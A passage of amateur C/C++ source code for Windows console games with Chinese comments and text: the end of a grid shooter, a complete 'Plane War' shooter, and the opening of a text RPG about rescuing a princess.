Kk;if(k<10&&Lev>=20) goto Kk;if(k>20&&Lev<=20) goto Kk; } for(int i=2;i<=28;i++) for(int j=2;j<=28;j++) {if(n[i][j]!=0) m[i][j]=0;if(K[i][j]!=0&&(m[i-1][j]!=2||m[i+1][j]!=2||m[i][j-1]!=2||m[i][j+1]!=2)) m[i][j]=K[i][j];} if(Lev%5==4) {int ms;if(Lev==4) ms=3;if(Lev==9) ms=5;if(Lev==14) ms=10;if(Lev==19) ms=15;if(Lev==24) ms=20;Bx=rand()%23+4,By=rand()%23+4;Bblood=ms*12;for(int i=14;i<=16;i++) for(int j=14;j<=16;j++) m[i][j]=n[i][j]=0;} for(int i=X-1;i<=X+1;i++) for(int j=Y-1;j<=Y+1;j++) if(i!=1&&i!=29&&j!=1&&j!=29) m[i][j]=0; for(int i=1;i<=29;i++) m[1][i]=2,m[29][i]=2; for(int i=1;i<=29;i++) m[i][1]=2,m[i][29]=2;//周围石块 } void TianFu() { int A[4],ss=0; system("cls"); SetPos(5,5),cout<<"选择一个天赋!(数字键选择)"; Tf: int R=rand()%20+1; for(int i=1;i<=3;i++) if(R==A[i]) goto Tf; if(F[R]==1) goto Tf; ss++,A[ss]=R; SetPos(4*ss+5,8),cout<<ss<<"、"; if(R==1) SetPos(4*ss+5,10),cout<<"盾牌恢复速度增加"; if(R==2) SetPos(4*ss+5,10),cout<<"普通子弹有概率弹跳"; if(R==3) SetPos(4*ss+5,10),cout<<"怪物子弹速度变慢"; if(R==4) SetPos(4*ss+5,10),cout<<"免疫地刺和怪物的毒"; if(R==5) SetPos(4*ss+5,10),cout<<"开局无敌时间增加"; if(R==6) SetPos(4*ss+5,10),cout<<"宝箱子弹量增加"; if(R==7) SetPos(4*ss+5,10),cout<<"盾牌上限增加"; if(R==8) SetPos(4*ss+5,10),cout<<"有概率发射散弹"; if(R==9) SetPos(4*ss+5,10),cout<<"宝箱抽出生命水概率增加"; if(R==10) SetPos(4*ss+5,10),cout<<"每次开局有概率增加生命"; if(R==11) SetPos(4*ss+5,10),cout<<"有概率发射特殊子弹"; if(R==12) SetPos(4*ss+5,10),cout<<"激光伤害减半"; if(R==13) SetPos(4*ss+5,10),cout<<"盾牌爆后无敌一段时间"; if(R==14) SetPos(4*ss+5,10),cout<<"普通子弹有概率爆炸"; if(R==15) SetPos(4*ss+5,10),cout<<"杀死怪有几率加盾(BOSS关除外)"; if(R==16) SetPos(4*ss+5,10),cout<<"出场释放冲击波"; if(R==17) SetPos(4*ss+5,10),cout<<"盾牌爆后释放冲击波"; if(R==18) SetPos(4*ss+5,10),cout<<"有概率在身周放毒"; if(R==19) SetPos(4*ss+5,10),cout<<"刷出宝箱概率增加"; if(R==20) SetPos(4*ss+5,10),cout<<"每次开局获得一把枪"; if(ss<3) goto Tf; tF: char c=_getch(); if(c>='1'&&c<='3') F[A[c-'0']]=1; else goto tF; if(A[c-'0']==7) Dmax+=3; } void GuaiQuan() { X=3,Y=3;Win=-1;system("cls");Color(0); memset(m,0,sizeof(m));memset(n,0,sizeof(n)); for(int i=1;i<=29;i++) m[1][i]=2,m[29][i]=2; for(int i=1;i<=29;i++) m[i][1]=2,m[i][29]=2;//周围石块 for(int i=4;i<=12;i++) m[i][4]=m[i][12]=m[4][i]=m[12][i]=m[i][18]=m[i][26]=m[18][i]=m[26][i]=2; for(int i=18;i<=26;i++) m[i][4]=m[i][12]=m[4][i]=m[12][i]=m[i][18]=m[i][26]=m[18][i]=m[26][i]=2; for(int i=11;i<=19;i++) m[i][11]=m[i][19]=m[11][i]=m[19][i]=2; for(int i=6;i<=10;i++) for(int j=13;j<=17;j++) m[i][j]=1; m[8][8]=50;m[8][21]=51;m[15][15]=52;m[21][8]=53;m[21][21]=54;m[16][23]=3;Map(5); SetPos(3,5);cout<<"←你";SetPos(4,14);cout<<"木箱↓";SetPos(17,4);cout<<"铁块↓";SetPos(17,21);cout<<"宝箱↑"; SetPos(13,5);cout<<"无脑小怪↑";SetPos(14,21);cout<<"剧毒小怪↑"; SetPos(20,13);cout<<"散弹小怪↑";SetPos(27,5);cout<<"狙击小怪↑";SetPos(27,21);cout<<"激光小怪↑"; while(1) { if(bu>0) bu--; if(GetAsyncKeyState(VK_UP)&0x8000) Map(2),gx--; else if(GetAsyncKeyState(VK_DOWN)&0x8000) Map(2),gx++; else if(GetAsyncKeyState(VK_LEFT)&0x8000) Map(2),gy--; else if(GetAsyncKeyState(VK_RIGHT)&0x8000) Map(2),gy++; if(kbhit()) { char g=_getch(); if(g=='a') {Map(2); if(gunT!=1) gunT--;else gunT=8;} if(g=='d') {Map(2); if(gunT!=8) gunT++;else gunT=1;} if(g=='w') OpenBox(1); if(g=='s'&&bu<=2) Bullet(),bu+=2; if(g==' ') Sleep(100),SetPos(-1,18),sy++,system("pause"); if(g=='y'&&Win<0) {break;} } if(sy==1) SetPos(-1,18),cout<<" ",sy--; Move(); Map(0); Sleep(50); }Lev=0;Blood=10,Dun=10,Bmax=10,Dmax=10; } void Start() { Color(5); SetPos(2,3);cout<<" ■■■■■■ ■ "; SetPos(3,3);cout<<" ■■■■■■■■ "; SetPos(4,3);cout<<" ■ "; SetPos(5,3);cout<<" ■■■■■■■■■■ ■ ■■■■■■ "; SetPos(6,3);cout<<" ■ ■ "; SetPos(7,3);cout<<" ■ ■ ■■■■■■■ "; SetPos(8,3);cout<<" ■ ■ ■ ■ "; SetPos(9,3);cout<<" ■■ ■■■ ■ "; SetPos(10,3);cout<<" ■ ■ "; SetPos(11,3);cout<<" 小 ■■■■ "; SetPos(13,3);cout<<" 2.0版本: "; SetPos(14,3);cout<<" ■■■ ■ "; SetPos(15,3);cout<<" 新增BOSS!Crab-Dave! ■ ■ ■ "; SetPos(16,3);cout<<" ■■■ ■ ■ "; SetPos(17,3);cout<<" 水,生木块,地刺加入战场! ■ ■ ■■■■■"; SetPos(18,3);cout<<" ■ ■ "; SetPos(19,3);cout<<" 身周不会刷出石和水了! ■■■ ■■■■ "; SetPos(20,3);cout<<" ■ ■ ■ ■ "; SetPos(21,3);cout<<" BUG修正于小优化!努力通关吧! ■ ■ ■ ■ "; SetPos(22,3);cout<<" ■■ ■ ■■■■ "; SetPos(25,4);Color(1);cout<<"按 y 开始游戏!"; SetPos(29,3);Color(3);cout<<"注意!这里 绝对不能是拼音输入法!"; A:char y=_getch(); if(y=='y') return; else goto A; } void Bling() { for(int i=0;i<=3;i++) { system("color 1A");Sleep(10); system("color 2B");Sleep(10); system("color 3C");Sleep(10); system("color 4D");Sleep(10); system("color 5D");Sleep(10); system("color 6E");Sleep(10); system("color 7F");Sleep(10); }system("color 0F");system("cls"); } void BaoBo(int B) { for(int i=X-B;i<=X+B;i++) if(CanGo(i,Y-B,3)&&i>0&&Y-B>0) m[i][Y-B]=86,m[i][Y-B+1]=8; for(int i=X-B;i<=X+B;i++) if(CanGo(i,Y+B,3)&&i>0&&Y+B>0) m[i][Y+B]=86,m[i][Y+B-1]=8; for(int j=Y-B;j<=Y+B;j++) if(CanGo(X+B,j,3)&&j>0&&X+B>0) m[X+B][j]=86,m[X+B-1][Y]=8; for(int j=Y-B;j<=Y+B;j++) if(CanGo(X-B,j,3)&&j>0&&X-B>0) m[X-B][j]=86,m[X-B+1][Y]=8; } void Ci() { for(int i=1;i<=29;i++) for(int j=1;j<=29;j++) { if(n[i][j]>=10&&n[i][j]<50&&n[i][j]!=30) n[i][j]++; if(n[i][j]==50) {n[i][j]=31;if(m[i][j]==2) m[i][j]=0;} if(n[i][j]==45&&!(m[i][j]>=50&&m[i][j]<55)&&!(abs(Bx-i)<=1&&abs(By-i)<=1)) m[i][j]=2; if(n[i][j]>20&&n[i][j]<=30&&m[i][j]==0) n[i][j]=10; if(n[i][j]==20&&m[i][j]==0&&!(abs(Bx-i)<=1&&abs(By-i)<=1)) m[i][j]=1; } } int main() { system("mode con cols=62 lines=34"); CONSOLE_CURSOR_INFO cursor_info={1,0}; SetConsoleCursorInfo(GetStdHandle(STD_OUTPUT_HANDLE),&cursor_info); srand((unsigned)time(NULL)); SSt: Start();Bling(); X=4,Y=8,gx=gy=0,gunT=1,gunZ=1,Lev=0,T; Blood=10,Dun=10,Bmax=10,Dmax=10; memset(G,0,sizeof(G)); memset(F,0,sizeof(F)); GuaiQuan(); St: Win=0;Bo=Boo=0; memset(m,0,sizeof(m)); if(Lev%5==0&&Lev!=0) TianFu(); Bling();T=0;Sheng();Map(1);int rr=rand()%3; if(F[5]==1) WuDi=60;else WuDi=30; if(rr==0&&F[10]==1) Blood=min(Blood+1,Bmax); if(F[16]==1) Bo=4; if(F[20]==1) {int Q=rand()%7+2;gunZ=Q,G[Q]=5;} while(Win<=0&&Blood>0&&Lev<25) { T++; if(bu>0) bu--; if(WuDi>0) WuDi--; if(WuDi==1) WuDi--,Map(4); if(Bo>0) BaoBo(5-Bo),Bo--; if(Boo>0) BaoBo(4-Boo),Boo--; if(F[18]==1) { int Rrr=rand()%30; if(Rrr==0) for(int i=X-2;i<=X+2;i++) for(int j=Y-2;j<=Y+2;j++) if(CanGo(i,j,5)&&i>0&&j>0) m[i][j]=9; } if(Dun<Dmax) { if(F[1]==1&&T%30==0) Dun++,Map(3); if(F[1]==0&&T%70==0) Dun++,Map(3); } if(GetAsyncKeyState(VK_UP)&0x8000) Map(2),gx--; else if(GetAsyncKeyState(VK_DOWN)&0x8000) Map(2),gx++; else if(GetAsyncKeyState(VK_LEFT)&0x8000) Map(2),gy--; else if(GetAsyncKeyState(VK_RIGHT)&0x8000) Map(2),gy++; if(kbhit()) { char g=_getch(); if(g=='a') {Map(2); if(gunT!=1) gunT--;else gunT=8;} if(g=='d') {Map(2); if(gunT!=8) gunT++;else gunT=1;} if(g=='w') OpenBox(0); if(g=='s'&&bu<=2) Bullet(),bu+=2; if(g==' ') Sleep(100),SetPos(-1,18),sy++,system("pause"); } if(sy==1) SetPos(-1,18),cout<<" ",sy--; if(T%2==0) Ci(); Move();Map(0);Sleep(50); } if(Win==0&&Blood<=0&&Lev<25) { system("color 7F"),Color(4);Lev=0;Blood=Dun=Bmax=Dmax=10; Bblood=Bsi=Bjiao=Bdu=Bfang=0; memset(G,0,sizeof(G)); memset(F,0,sizeof(F)); SetPos(2,2);cout<<"You! Die!!!",Sleep(1000); SetPos(3,2);cout<<"Please point 'y' to Play AGain."; } if(Lev<25) { A:char e=_getch();if(e=='y') goto St;else goto A;} if(Lev==25) { system("color 6E"),Color(5); SetPos(2,2),cout<<"You! Pass All The Level!!!";Sleep(3000); system("color 0F");system("cls");goto SSt; } return 0; }
//飞机大战 #include<iostream> #include<windows.h> #include<conio.h> #include<time.h> #include<string> using namespace std; /*=============== all the structures ===============*/ typedef struct Frame { COORD position[2]; int flag; }Frame; /*=============== all the functions ===============*/ void SetPos(COORD a)// set cursor { HANDLE out=GetStdHandle(STD_OUTPUT_HANDLE); SetConsoleCursorPosition(out, a); } void SetPos(int i, int j)// set cursor { COORD pos={i, j}; SetPos(pos); } void HideCursor() { CONSOLE_CURSOR_INFO cursor_info = {1, 0}; SetConsoleCursorInfo(GetStdHandle(STD_OUTPUT_HANDLE), &cursor_info); } //把第y行,[x1, x2) 之间的坐标填充为 ch void drawRow(int y, int x1, int x2, char ch) { SetPos(x1,y); for(int i = 0; i <= (x2-x1); i++) cout<<ch; } //在a, b 纵坐标相同的前提下,把坐标 [a, b] 之间填充为 ch void drawRow(COORD a, COORD b, char ch) { if(a.Y == b.Y) drawRow(a.Y, a.X, b.X, ch); else { SetPos(0, 25); cout<<"error code 01:无法填充行,因为两个坐标的纵坐标(x)不相等"; system("pause"); } } //把第x列,[y1, y2] 之间的坐标填充为 ch void drawCol(int x, int y1, int y2, char ch) { int y=y1; while(y!=y2+1) { SetPos(x, y); cout<<ch; y++; } } //在a, b 横坐标相同的前提下,把坐标 [a, b] 之间填充为 ch void drawCol(COORD a, COORD b, char ch) { if(a.X == b.X) drawCol(a.X, a.Y, b.Y, ch); else { SetPos(0, 25); cout<<"error code 02:无法填充列,因为两个坐标的横坐标(y)不相等"; system("pause"); } } //左上角坐标、右下角坐标、用row填充行、用col填充列 void drawFrame(COORD a, COORD b, char row, char col) { drawRow(a.Y, a.X+1, b.X-1, row); drawRow(b.Y, a.X+1, b.X-1, row); drawCol(a.X, a.Y+1, b.Y-1, col); drawCol(b.X, a.Y+1, b.Y-1, col); } void drawFrame(int x1, int y1, int x2, int y2, char row, char col) { COORD a={x1, y1}; COORD b={x2, y2}; drawFrame(a, b, row, col); } void drawFrame(Frame frame, char row, char col) { COORD a = frame.position[0]; COORD b = frame.position[1]; drawFrame(a, b, row, col); } void drawPlaying() { drawFrame(0, 0, 48, 24, '=', '|');// draw map frame; drawFrame(49, 0, 79, 4, '-', '|');// draw output frame drawFrame(49, 4, 79, 9, '-', '|');// draw score frame drawFrame(49, 9, 79, 20, '-', '|');// draw operate frame drawFrame(49, 20, 79, 24, '-', '|');// draw other message frame SetPos(52, 6); cout<<"得分:"; SetPos(52, 7); cout<<"称号:"; SetPos(52,10); cout<<"操作方式:"; SetPos(52,12); cout<<" a,s,d,w 控制战机移动。"; SetPos(52,14); cout<<" p 暂停游戏。"; SetPos(52,16); cout<<" e 退出游戏。"; } //在[a, b)之间产生一个随机整数 int random(int a, int b) { int c=(rand() % (a-b))+ a; return c; } //在两个坐标包括的矩形框内随机产生一个坐标 COORD random(COORD a, COORD b) { int x=random(a.X, b.X); int y=random(a.Y, b.Y); COORD c={x, y}; return c; } bool judgeCoordInFrame(Frame frame, COORD spot) { if(spot.X>=frame.position[0].X) if(spot.X<=frame.position[1].X) if(spot.Y>=frame.position[0].Y) if(spot.Y<=frame.position[0].Y) return true; return false; } void printCoord(COORD a) { cout <<"( "<<a.X<<" , "<<a.Y<<" )"; } void printFrameCoord(Frame a) { printCoord(a.position[0]); cout <<" - "; printCoord(a.position[1]); } int drawMenu() { SetPos(30, 1); cout<<"P l a n e W a r"; drawRow(3, 0, 79, '-'); drawRow(5, 0, 79, '-'); SetPos(28, 4); cout<<"w 和 s 选择, k 确定"; SetPos(15, 11); cout<<"1. 简单的敌人"; SetPos(15, 13); cout<<"2. 冷酷的敌人"; drawRow(20, 0, 79, '-'); drawRow(22, 0, 79, '-'); SetPos(47, 11); cout<<"简单的敌人:"; SetPos(51, 13); cout<<"简单敌人有着较慢的移动速度。"; SetPos(24, 21); cout<<"制作:LJF神犇"; int j=11; SetPos(12, j); cout<<">>"; //drawFrame(45, 9, 79, 17, '=', '|'); while(1) { if( _kbhit() ) { char x=_getch(); switch (x) { case 'w' : { if( j == 13) { SetPos(12, j); cout<<" "; j = 11; SetPos(12, j); cout<<">>"; SetPos(51, 13); cout<<" "; SetPos(47, 11); cout<<"简单的敌人:"; SetPos(51, 13); cout<<"简单敌人有着较慢的移动速度,容易对付。"; } break; } case 's' : { if( j == 11 ) { SetPos(12, j); cout<<" "; j = 13; SetPos(12, j); cout<<">>"; SetPos(51, 13); cout<<" "; SetPos(47, 11); cout<<"冷酷的敌人:"; SetPos(51, 13); cout<<"冷酷的敌人移动速度较快,难对付哟!!!"; } break; } case 'k' : { if (j == 8) return 1; else return 2; } } } } } /* DWORD WINAPI MusicFun(LPVOID lpParamte) { //DWORD OBJ; sndPlaySound(TEXT("bgm.wav"), SND_FILENAME|SND_ASYNC); return 0; } */ /*================== the Game Class ==================*/ class Game { public: COORD position[10]; COORD bullet[10]; Frame enemy[8]; int score; int rank; int rankf; string title; int flag_rank; Game (); //初始化所有 void initPlane(); void initBullet(); void initEnemy(); //初始化其中一个 //void initThisBullet( COORD ); //void initThisEnemy( Frame ); void planeMove(char); void bulletMove(); void enemyMove(); //填充所有 void drawPlane(); void drawPlaneToNull(); void drawBullet(); void drawBulletToNull(); void drawEnemy(); void drawEnemyToNull(); //填充其中一个 void drawThisBulletToNull( COORD ); void drawThisEnemyToNull( Frame ); void Pause(); void Playing(); void judgePlane(); void judgeEnemy(); void Shoot(); void GameOver(); void printScore(); }; Game::Game() { initPlane(); initBullet(); initEnemy(); score = 0; rank = 25; rankf = 0; flag_rank = 0; } void Game::initPlane() { COORD centren={39, 22}; position[0].X=position[5].X=position[7].X=position[9].X=centren.X; position[1].X=centren.X-2; position[2].X=position[6].X=centren.X-1; position[3].X=position[8].X=centren.X+1; position[4].X=centren.X+2; for(int i=0; i<=4; i++) position[i].Y=centren.Y; for(int i=6; i<=8; i++) position[i].Y=centren.Y+1; position[5].Y=centren.Y-1; position[9].Y=centren.Y-2; } void Game::drawPlane() { for(int i=0; i<9; i++) { SetPos(position[i]); if(i!=5) cout<<"O"; else if(i==5) cout<<"|"; } } void Game::drawPlaneToNull() { for(int i=0; i<9; i++) { SetPos(position[i]); cout<<" "; } } void Game::initBullet() { for(int i=0; i<10; i++) bullet[i].Y = 30; } void Game::drawBullet() { for(int i=0; i<10; i++) { if( bullet[i].Y != 30) { SetPos(bullet[i]); cout<<"^"; } } } void Game::drawBulletToNull() { for(int i=0; i<10; i++) if( bullet[i].Y != 30 ) { COORD pos={bullet[i].X, bullet[i].Y+1}; SetPos(pos); cout<<" "; } } void Game::initEnemy() { COORD a={1, 1}; COORD b={45, 15}; for(int i=0; i<8; i++) { enemy[i].position[0] = random(a, b); enemy[i].position[1].X = enemy[i].position[0].X + 3; enemy[i].position[1].Y = enemy[i].position[0].Y + 2; } } void Game::drawEnemy() { for(int i=0; i<8; i++) drawFrame(enemy[i].position[0], enemy[i].position[1], '-', '|'); } void Game::drawEnemyToNull() { for(int i=0; i<8; i++) { drawFrame(enemy[i].position[0], enemy[i].position[1], ' ', ' '); } } void Game::Pause() { SetPos(61,2); cout<<" "; SetPos(61,2); cout<<"暂停中..."; char c=_getch(); while(c!='p') c=_getch(); SetPos(61,2); cout<<" "; } void Game::planeMove(char x) { if(x == 'a') if(position[1].X != 1) for(int i=0; i<=9; i++) position[i].X -= 2; if(x == 's') if(position[7].Y != 23) for(int i=0; i<=9; i++) position[i].Y += 1; if(x == 'd') if(position[4].X != 47) for(int i=0; i<=9; i++) position[i].X += 2; if(x == 'w') if(position[5].Y != 3) for(int i=0; i<=9; i++) position[i].Y -= 1; } void Game::bulletMove() { for(int i=0; i<10; i++) { if( bullet[i].Y != 30) { bullet[i].Y -= 1; if( bullet[i].Y == 1 ) { COORD pos={bullet[i].X, bullet[i].Y+1}; drawThisBulletToNull( pos ); bullet[i].Y=30; } } } } void Game::enemyMove() { for(int i=0; i<8; i++) { for(int j=0; j<2; j++) enemy[i].position[j].Y++; if(24 == enemy[i].position[1].Y) { COORD a={1, 1}; COORD b={45, 3}; enemy[i].position[0] = random(a, b); enemy[i].position[1].X = enemy[i].position[0].X + 3; enemy[i].position[1].Y = enemy[i].position[0].Y + 2; } } } void Game::judgePlane() { for(int i = 0; i < 8; i++) for(int j=0; j<9; j++) if(judgeCoordInFrame(enemy[i], position[j])) { SetPos(62, 1); cout<<"坠毁"; drawFrame(enemy[i], '+', '+'); Sleep(1000); GameOver(); break; } } void Game::drawThisBulletToNull( COORD c) { SetPos(c); cout<<" "; } void Game::drawThisEnemyToNull( Frame f ) { drawFrame(f, ' ', ' '); } void Game::judgeEnemy() { for(int i = 0; i < 8; i++) for(int j = 0; j < 10; j++) if( judgeCoordInFrame(enemy[i], bullet[j]) ) { score += 5; drawThisEnemyToNull( enemy[i] ); COORD a={1, 1}; COORD b={45, 3}; enemy[i].position[0] = random(a, b); enemy[i].position[1].X = enemy[i].position[0].X + 3; enemy[i].position[1].Y = enemy[i].position[0].Y + 2; drawThisBulletToNull( bullet[j] ); bullet[j].Y = 30; } } void Game::Shoot() { for(int i=0; i<10; i++) if(bullet[i].Y == 30) { bullet[i].X = position[5].X; bullet[i].Y = position[5].Y-1; break; } } void Game::printScore() { if(score == 120 && flag_rank == 0) { rank -= 3; flag_rank = 1; } else if( score == 360 && flag_rank == 1) { rank -= 5; flag_rank = 2; } else if( score == 480 && flag_rank == 2) { rank -= 5; flag_rank = 3; } int x=rank/5; SetPos(60, 6); cout<<score; if( rank!=rankf ) { SetPos(60, 7); if( x == 5) title="初级飞行员"; else if( x == 4) title="中级飞行员"; else if( x == 3) title="高级飞行员"; else if( x == 2 ) title="王牌飞行员"; cout<<title; } rankf = rank; } void Game::Playing() { //HANDLE MFUN; //MFUN= CreateThread(NULL, 0, MusicFun, NULL, 0, NULL); drawEnemy(); drawPlane(); int flag_bullet = 0; int flag_enemy = 0; while(1) { Sleep(8); if(_kbhit()) { char x = _getch(); if ('a' == x || 's' == x || 'd' == x || 'w' == x) { drawPlaneToNull(); planeMove(x); drawPlane(); judgePlane(); } else if ('p' == x) Pause(); else if( 'k' == x) Shoot(); else if( 'e' == x) { //CloseHandle(MFUN); GameOver(); break; } } /* 处理子弹 */ if( 0 == flag_bullet ) { bulletMove(); drawBulletToNull(); drawBullet(); judgeEnemy(); } flag_bullet++; if( 5 == flag_bullet ) flag_bullet = 0; /* 处理敌人 */ if( 0 == flag_enemy ) { drawEnemyToNull(); enemyMove(); drawEnemy(); judgePlane(); } flag_enemy++; if( flag_enemy >= rank ) flag_enemy = 0; /* 输出得分 */ printScore(); } } void Game::GameOver() { system("cls"); COORD p1={28,9}; COORD p2={53,15}; drawFrame(p1, p2, '=', '|'); SetPos(36,12); string str="Game Over!"; for(int i=0; i<str.size(); i++) { Sleep(80); cout<<str[i]; } Sleep(1000); system("cls"); drawFrame(p1, p2, '=', '|'); SetPos(31, 11); cout<<"击落敌机:"<<score/5<<" 架"; SetPos(31, 12); cout<<"得 分:"<<score; SetPos(31, 13); cout<<"获得称号:"<<title; SetPos(30, 16); Sleep(1000); cout<<"继续? 是(y)| 否(n)制作:最牛的LJF"; as: char x=_getch(); if (x == 'n') exit(0); else if (x == 'y') { system("cls"); Game game; int a = drawMenu(); if(a == 2) game.rank = 20; system("cls"); drawPlaying(); game.Playing(); } else goto as; } /*================== the main function ==================*/ int main() { //游戏准备 srand((int)time(0)); //随机种子 HideCursor(); //隐藏光标 Game game; int a = drawMenu(); if(a == 2) game.rank = 20; system("cls"); drawPlaying(); game.Playing(); }
#include<stdio.h> #include<ctime> #include<time.h> //suiji #include<windows.h> //SLEEP函数 struct Player //玩家结构体,并初始化player { char name[21]; int attack; int defense; int health; long int max_health; int level; int exp; int range_exp; long int max_exp; } player= {"勇者",50,40,100,100,1,0,0,100}; struct Enemy //怪的结构体,并初始化各种怪 { char name[20]; char wupin[12]; int attack; int defense; int health; int money; long int exp; int wupin_sign; int wupinpro; int double_attack; int miss; } strongman= {"森林巨人","黄金圣衣",40,50,350,200,100,1,2,1,0}, witch= {"森林女巫","银甲",25,15,100,50,50,2,2,1,1}, xiyi= {"森林蜥蜴","铁甲",18,10,50,30,35,3,3,2,2}, big_strongman= {"森林巨人王","巨人晶石",40*5,50*5,200*5,200*5,100*5,4,4,2,0}, lion= {"草原雄狮","绝世好剑",60,30,280,200,100,5,2,1,0}, horse= {"草原野马","碧血剑",28,12,90,50,50,6,2,1,1}, bee= {"草原黄蜂","长剑",17,11,60,30,35,7,3,2,2}, shitu= {"使徒","\0",60*8,30*8,280*8,200*8,100*8,9,1,1,0}, guai= {"\0","\0",0,0,0,0,0,0,0,0,0}; struct Place { int bar,hotel,forest1,forest2,forest3,grass1,grass2,grass3; } place= {1,2,3,4,5,6,7,8}; int max_exp=0; int choose_number=0,s=0,strongman_arm=0,battle=0,money=500,place_sign=9; int cao=3,jijiubao=2,baiyao=2,superbaiyao=1,boom=3,dubiao=2,atom_boom=1; int fang=0,fang1=10,fang1n=0,fang2=20,fang2n=0,fang3=40,fang3n=0,fang4=100,fang4n=0; int gong=0,gong1=8,gong1n=0,gong2=15,gong2n=0,gong3=25,gong3n=0,gong4=60,gong4n=0; int jingyancao=0,jingyanbao=0,jingyanshi=0; char gongname[20]="无",fangname[20]="无"; char proof; void AddWupin(int); int AttackResult(); void BattleAct(); void ChooseWupin(); void DisplayState(); void OrdinaryAct(); int SuiJi(); int SuiJi100(); void WhetherLevelUp(); void SlowDisplay(char *); int main() { int i=0,j=0,k=0; char player_name[21]; Sleep(1000); printf("--------------------------欢迎来到 [苍穹世界] 2.2 测试版-----------------------\n\n\n"); //如果想使用外挂,名字请输入:“圣战斗士 ”。 Sleep(1000); printf("这里是苍穹世界! 雅莉萨斯国的罗茜公主被陌生人绑架了!\n\n\n 伟大的勇者啊~拿起你们的武器,营救公主!\n\n\n输入你的名字: (20个字符)\n\n\n"); scanf("%s",player_name); strncpy(player.name,player_name,20); if(strcmp(player.name,"圣战斗士")==0) { printf("\n\n\n封印多年的圣剑血统啊!你终于觉醒了!\n\n\n圣战斗士,你成为了天选之人,请你救出公主吧!\n\n\n"); player.attack=999; player.defense=999; player.health=9999; player.max_health=9999; } getchar(); OrdinaryAct(); return 0; } int SuiJi() { srand((unsigned)time(NULL)); return rand()%10; } int SuiJi100() { srand((unsigned)time(NULL)); return rand()%100; } void ChooseWupin() //选择物品 并使用 { printf("物品: 1,止血草%d个 2,急救包%d个 3,云南白药%d个 4,超级云南白药%d个 5,手雷%d个 6,毒标%d个 7,手抛式原子弹%d个 8,经验草%d个 9,经验包%d个 10,经验石%d个 11,巨人晶石%d个 0,返回\n\n\n",cao,jijiubao,baiyao,superbaiyao,boom,dubiao,atom_boom,jingyancao,jingyanbao,jingyanshi,strongman_arm); switch(scanf("%d",&choose_number),choose_number) { case 1: if(cao>0) { printf("使用止血草,HP增加60\n\n\n"); cao--; if(player.health+60>player.max_health)player.health=player.max_health; else player.health+=60; } else printf("没有止血草了\n\n\n"); break; case 2: if(jijiubao>0) { printf("使用急救包,HP增加80\n\n\n"); jijiubao--; if(player.health+80>player.max_health)player.health=player.max_health; else player.health+=80; } else printf("没有急救包了\n\n\n"); break; case 3: if(baiyao>0) { printf("使用云南白药,HP增加120\nz\n\n"); baiyao--; if(player.health+120>player.max_health)player.health=player.max_health; else player.health+=120; } else printf("没有云南白药了\n\n\n"); break; case 4: if(superbaiyao>0) { printf("使用超级云南白药,HP增加200\n\n\n"); superbaiyao--; if(player.health+200>player.max_health)player.health=player.max_health; else player.health+=200; } else printf("没有超级云南白药了\n\n\n"); break; case 5: if(battle) //在战斗中(battle=1),否则(battle=0)不能使用攻击性物品 { if(boom>0) { printf("使用手雷,敌人HP减少100\n\n\n"); boom--; guai.health-=100; AttackResult(); } } else printf("非战斗状态,不能使用手雷!\n\n\n"); break; case 6: if(battle) //在战斗中(battle=1),否则(battle=0)不能使用攻击性物品 { if(dubiao>0) { printf("使用毒标,敌人HP减少200\n\n\n"); dubiao--; guai.health-=200; AttackResult(); } } else printf("非战斗状态,不能使用毒标!\n\n\n"); break; case 7: if(battle) //在战斗中(battle=1),否则(battle=0)不能使用攻击性物品 { if(atom_boom>0) { printf("使用手抛式原子弹,敌人HP减少666666666\n\n\n"); atom_boom--; guai.health-=666666666; AttackResult(); } } else printf("非战斗状态,不能使用手抛式原子弹!\n\n\n"); break; case 8: if(jingyancao>0 && player.level<1000) { printf("使用经验草,等级增加10级\n\n\n"); jingyancao--; player.level+=10; printf("等级:%d\n",player.level); } else if(jingyancao<1) { printf("没有经验草了\n\n\n"); } else printf("等级超过45级,修为太高,无法使用。\n\n\n"); break; case 9: if(jingyanbao>0 && player.level<1000) { if(player.level>44&&player.level<1000) { int sheng; sheng=45-player.level; player.level+=sheng; printf("使用经验包,等级增加%d级",sheng); printf("等级:%d\n",player.level); } else { printf("使用经验包,等级增加2级\n\n\n"); jingyanbao--; player.level+=2; printf("等级:%d\n",player.level); } } else if(jingyanbao<1) { printf("没有经验包了"); } else printf("等级超过45级,修为太高,无法使用。\n\n\n"); break; case 10: if(jingyanshi>0 && player.level<1000) { if(player.level>42&&player.level<1000) { int sheng; sheng=45-player.level; player.level+=sheng; printf("使用经验石,等级增加%d级\n",sheng); printf("等级:%d\n",player.level); } else { printf("使用经验石,等级增加10级\n"); jingyanshi--; player.level+=10; } } else if(jingyanshi<1) { printf("没有经验石了\n\n\n"); } else printf("等级超过45级,修为太高,无法使用。\n\n\n"); break; case 11: if(strongman_arm>0 && player.level<10000) { if(player.level>29&&player.level<10000) { int sheng; sheng=45-player.level; player.level+=sheng; printf("使用巨人晶石,等级增加%d级",sheng); printf("等级:%d\n",player.level); } else { printf("使用巨人晶石,等级增加16级\n\n\n"); strongman_arm--; player.level+=16; printf("等级:%d\n",player.level); } } else if(strongman_arm<1) { printf("没有巨人晶石了。\n\n\n"); } else printf("等级超过45级,修为太高,无法使用。\n\n\n"); break; case 0: break; default: printf("ChooseWupin error!\n\n\n"); } } int AttackResult() //攻击结果:判断是否获胜 是否获得物品 和 是否升级 { if(guai.health<=0) { battle=0; printf("战斗胜利!获得金币%d,经验%d\n\n\n",guai.money,guai.exp); player.exp+=guai.exp; player.range_exp+=guai.exp; money+=guai.money; s=SuiJi(); if(s<guai.wupinpro) { printf("从敌人尸骸中发现"); printf("%s\n\n\n",guai.wupin); AddWupin(guai.wupin_sign); } WhetherLevelUp(); if(strcmp(guai.name,"使徒")==0) { printf("战斗胜利,救出公主!!!"); getchar(); getchar(); exit(0); } return 1; //攻击有结果了返回1,否则返回0,用于判断是否继续做战斗行为 } else { int s=SuiJi(); if((guai.attack+s-player.defense/3)<0) { player.health-=1; printf("%s反击,你的HP减少了 1\n\n",guai.name); } else { player.health-=guai.attack+s-player.defense/3; printf("%s反击,你的HP减少了%d\n\n",guai.name,guai.attack+s-player.defense/3); } if(player.health<0) { battle=0; printf("%s战死!金币掉落%d\n\n\n",player.name,player.level*500); money-=player.level*500; player.health=player.max_health/5; OrdinaryAct();// return 1; } } return 0; } void AddWupin(int wupin_sign) { switch(wupin_sign) { case 1: fang4n++; break; case 2: fang3n++; break; case 3: fang2n++; break; case 4: strongman_arm=1; break; case 5: gong4n++; break; case 6: gong3n++; break; 